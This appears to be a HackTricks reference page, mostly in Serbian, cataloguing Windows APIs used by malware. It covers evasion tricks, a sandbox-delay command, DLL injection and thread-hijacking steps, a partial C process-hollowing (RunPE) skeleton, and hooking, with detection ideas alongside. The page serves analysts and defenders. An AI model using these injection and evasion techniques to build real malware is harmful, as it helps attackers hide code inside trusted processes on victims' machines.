Uobičajeni API koji se koristi u Malware
Reading time: 9 minutes
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Generički
Umrežavanje
| Raw Sockets | WinAPI Sockets |
|---|---|
| socket() | WSAStratup() |
| bind() | bind() |
| listen() | listen() |
| accept() | accept() |
| connect() | connect() |
| read()/recv() | recv() |
| write() | send() |
| shutdown() | WSACleanup() |
TLS pinning i segmentirani transport
Mnogi loaderi umotavaju svoj TCP stream u SslStream i pinuju serverov leaf sertifikat u odnosu na ugrađenu kopiju (certificate pinning). Informacije/zadaci za botove su kompresovani (npr. GZip). Kada odgovori pređu prag (~1 MB), podaci se fragmentiraju u male delove (npr. segmente od 16 KB) da bi se izbegle heuristike zasnovane na veličini i smanjili skokovi u potrošnji memorije tokom deserijalizacije.
Persistencija
| Registar | Fajl | Servis |
|---|---|---|
| RegCreateKeyEx() | GetTempPath() | OpenSCManager |
| RegOpenKeyEx() | CopyFile() | CreateService() |
| RegSetValueEx() | CreateFile() | StartServiceCtrlDispatcher() |
| RegDeleteKeyEx() | WriteFile() | |
| RegGetValue() | ReadFile() |
Enkripcija
| Name |
|---|
| WinCrypt |
| CryptAcquireContext() |
| CryptGenKey() |
| CryptDeriveKey() |
| CryptDecrypt() |
| CryptReleaseContext() |
Anti-Analysis/VM
| Function Name | Assembly Instructions |
|---|---|
| IsDebuggerPresent() | CPUID() |
| GetSystemInfo() | IN() |
| GlobalMemoryStatusEx() | |
| GetVersion() | |
| CreateToolhelp32Snapshot [Check if a process is running] | |
| CreateFileW/A [Check if a file exist] |
Kontrola izvršavanja na osnovu lokaliteta/tastature
Mnogi stealeri/loadersi prekinu izvršavanje na određenim lokalitetima da bi izbegli istraživače i ispunili ograničenja aktera pretnje. Tipične provere:
GetKeyboardLayoutza nabrajanje instaliranih rasporeda (po thread-u/korisniku)GetLocaleInfoA/Wza dobijanje kodova zemlje/regionaGetSystemDefaultLangID/GetUserDefaultLangID
Ako bilo koja od njih odgovara blokiranoj listi (češće zemlje CIS regiona), loader izlazi odmah pre pojave mrežnih IOCs ili injekcije.
Odbrana/otkrivanje
- Obeležite procese koji na ranim fazama izvršavanja pozivaju više locale/keyboard API-ja i potom izlaze bez vidljivih aktivnosti.
- Korelirajte sa anti-VM proverama (BIOS stringovi, PnP uređaji, model diska, servisi) ponovno korišćenim iz open-source projekata (npr. VMDetector) da biste uhvatili ograničeno izvršavanje.
Otisak API-ja emulatora i izbegavanje mirovanja
Malware često ostavlja otisak sandbox emulatora tražeći Defender-ove virtualizovane exporte (viđeno u Malware Protection Emulator). Ako bilo koji od ovih simbola postoji (pretraga procesa bez obzira na veličinu slova), izvršavanje se odlaže za 10–30 minuta i ponovo se proverava da bi se potrošilo vreme analize.
Primeri API naziva koji se koriste kao kanarinci:
MpVmp32Entry,MpVmp32FastEnter,MpCallPreEntryPointCode,MpCallPostEntryPointCode,MpFinalize,MpReportEvent*,MpSwitchToNextThread*VFS_*familija:VFS_Open,VFS_Read,VFS_MapViewOfFile,VFS_UnmapViewOfFile,VFS_FindFirstFile/FindNextFile,VFS_CopyFile,VFS_DeleteFile,VFS_MoveFileThrdMgr_*:ThrdMgr_GetCurrentThreadHandle,ThrdMgr_SaveTEB,ThrdMgr_SwitchThreads
Tipični mehanizam odlaganja (user-land):
cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
Kontrola argumenata
- Operators ponekad zahtevaju da prisutan bude benignog izgleda CLI switch pre pokretanja payload-a (npr.
/i:--type=rendererda bi se imitirali Chromium child procesi). Ako switch nedostaje, loader izlazi odmah, otežavajući naivno pokretanje u sandbox-u.
Prikrivanje
| Naziv | |
|---|---|
| VirtualAlloc | Alloc memory (packers) |
| VirtualProtect | Change memory permission (packer giving execution permission to a section) |
| ReadProcessMemory | Injection into external processes |
| WriteProcessMemoryA/W | Injection into external processes |
| NtWriteVirtualMemory | |
| CreateRemoteThread | DLL/Process injection... |
| NtUnmapViewOfSection | |
| QueueUserAPC | |
| CreateProcessInternalA/W |
Izvršavanje
| Naziv funkcije |
|---|
| CreateProcessA/W |
| ShellExecute |
| WinExec |
| ResumeThread |
| NtResumeThread |
Razno
- GetAsyncKeyState() -- Key logging
- SetWindowsHookEx -- Key logging
- GetForeGroundWindow -- Dobijanje imena aktivnog prozora (ili web sajta iz browser-a)
- LoadLibrary() -- Učitavanje biblioteke
- GetProcAddress() -- Import library
- CreateToolhelp32Snapshot() -- Lista pokrenutih procesa
- GetDC() -- Snimak ekrana
- BitBlt() -- Snimak ekrana
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Pristup internetu
- FindResource(), LoadResource(), LockResource() -- Pristup resursima izvršnog fajla
Tehnike malvera
DLL Injection
Execute an arbitrary DLL inside another process
- Locate the process to inject the malicious DLL: CreateToolhelp32Snapshot, Process32First, Process32Next
- Open the process: GetModuleHandle, GetProcAddress, OpenProcess
- Write the path to the DLL inside the process: VirtualAllocEx, WriteProcessMemory
- Create a thread in the process that will load the malicious DLL: CreateRemoteThread, LoadLibrary
Other functions to use: NTCreateThreadEx, RtlCreateUserThread
Reflective DLL Injection
Load a malicious DLL without calling normal Windows API calls.
The DLL is mapped inside a process, it will resolve the import addresses, fix the relocations and call the DllMain function.
Thread Hijacking
Find a thread from a process and make it load a malicious DLL
- Find a target thread: CreateToolhelp32Snapshot, Thread32First, Thread32Next
- Open the thread: OpenThread
- Suspend the thread: SuspendThread
- Write the path to the malicious DLL inside the victim process: VirtualAllocEx, WriteProcessMemory
- Resume the thread loading the library: ResumeThread
PE Injection
Portable Execution Injection: Izvršni fajl će biti upisan u memoriju žrtvinog procesa i izvršiće se odatle.
Process Hollowing (a.k.a RunPE)
Process Hollowing je jedan od omiljenih trikova iz oblasti defence-evasion / execution koje koriste Windows malveri. Ideja je da se pokrene legitiman proces u suspended stanju, ukloni (hollow) njegov originalni image iz memorije i na njegovo mesto kopira proizvoljan PE. Kada se primarna nit konačno nastavi, maliciozni entry-point se izvršava pod okriljem poverljivog binarnog fajla (često potpisanog od Microsoft-a).
Tipičan tok rada:
- Spawn-uj benigni host (npr.
RegAsm.exe,rundll32.exe,msbuild.exe) suspended tako da nijedna instrukcija još ne radi.
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
- Učitaj maliciozni payload u memoriju i parsiraj njegove PE headere da dobiješ
SizeOfImage, sekcije i noviEntryPoint. - NtUnmapViewOfSection / ZwUnmapViewOfSection – unmap-uj originalni image base suspenedovanog procesa.
- VirtualAllocEx – rezerviši RWX memoriju veličine
SizeOfImageunutar udaljenog procesa. - WriteProcessMemory – prvo kopiraj
Headers, zatim iteriraj kroz sekcije kopirajući njihov raw data. - SetThreadContext – zakrpi vrednost
EAX/RAX(RCXna x64) iliRipu context strukturi tako daEIPpokazuje na payload-ovEntryPoint. - ResumeThread – nit nastavlja, izvršavajući kod koji je obezbedio napadač.
Minimalan proof-of-concept (x86) skeleton:
void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
// 1. create suspended process
STARTUPINFOA si = {sizeof(si)}; PROCESS_INFORMATION pi;
CreateProcessA(host, NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,&pi);
// 2. read remote PEB to get ImageBaseAddress
CONTEXT ctx; ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread,&ctx);
PVOID baseAddr;
ReadProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
// 3. unmap original image & allocate new region at same base
NtUnmapViewOfSection(pi.hProcess,baseAddr);
PVOID newBase = VirtualAllocEx(pi.hProcess,baseAddr,pHdr->OptionalHeader.SizeOfImage,
MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
// 4-5. copy headers & sections …
// 6. write new image base into PEB and set Eip
WriteProcessMemory(pi.hProcess,(PVOID)(ctx.Ebx+8),&baseAddr,4,NULL);
ctx.Eax = (DWORD)(newBase) + pHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread,&ctx);
// 7. run!
ResumeThread(pi.hThread);
}
Praktične beleške uočene u kampanji DarkCloud Stealer:
- Loader je izabrao
RegAsm.exe(deo .NET Framework) kao host – potpisani binarni fajl koji verovatno neće privući pažnju. - Dešifrovani VB6 stealer (
holographies.exe) nije ispušten na disk; postoji samo unutar hollowed procesa, što otežava statičku detekciju. - Osetljivi stringovi (regexi, putanje, Telegram kredencijali) su RC4-encrypted po-stringu i dešifruju se samo u runtime-u, što dodatno komplikuje skeniranje memorije.
Detection ideas:
- Podignuti alarm za procese kreirane sa
CREATE_SUSPENDEDkoji nikada ne kreiraju GUI/console prozore pre nego što se memorijski region alocira kao RWX (retko za benigni kod). - Pronaći sekvencu poziva
NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemoryizmeđu različitih procesa. - Neobična upotreba trusted developer utilities kao hollowing hostova, posebno
MSBuild.exe,RegAsm.exe,rundll32.exe, parentovanih od strane short-lived loadera. - Hunt za
msbuild.exekoji je spawn-ovan iz user-writable putanja ili bez odgovarajućeg.sln/.projkonteksta, a zatim ostvaruje outbound konekcije (ATT&CK T1127.001 + T1055.012).
Common host processes and path resolution
MSBuild.exese često bira kao hollowing host da bi se uklopio sa developer tooling-om. Loaders često traže arhitekturi-odgovarajuće lokacije:C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exeC:\Windows\System32\MSBuild.exeC:\Windows\SysWOW64\MSBuild.exe- Izabrati host koji odgovara trenutnoj arhitekturi payload-a/OS-a pre poziva
CreateProcess(..., CREATE_SUSPENDED, ...).
Hooking
- The SSDT (System Service Descriptor Table) pokazuje na kernel funkcije (ntoskrnl.exe) ili GUI driver (win32k.sys) tako da user procesi mogu pozivati te funkcije.
- Rootkit može izmeniti ove pokazivače ka adresama koje on kontroliše.
- IRP (I/O Request Packets) prenose delove podataka iz jedne komponente u drugu. Gotovo sve u kernelu koristi IRP-e i svaki device object ima sopstvenu tabelu funkcija koja se može hook-ovati: DKOM (Direct Kernel Object Manipulation).
- IAT (Import Address Table) je korisna za rešavanje zavisnosti. Moguće je hook-ovati ovu tabelu kako bi se hijack-ovao kod koji će biti pozvan.
- EAT (Export Address Table) Hooks. Ovi hook-ovi se mogu izvesti iz userland-a. Cilj je hook-ovati eksportovane funkcije od strane DLL-ova.
- Inline Hooks: Ova vrsta je teška za postizanje. Podrazumeva izmenu samog koda funkcija, npr. postavljanjem jump-a na početku funkcije.
References
- Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer
- Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
- VMDetector – virtualization checks (open-source)
tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks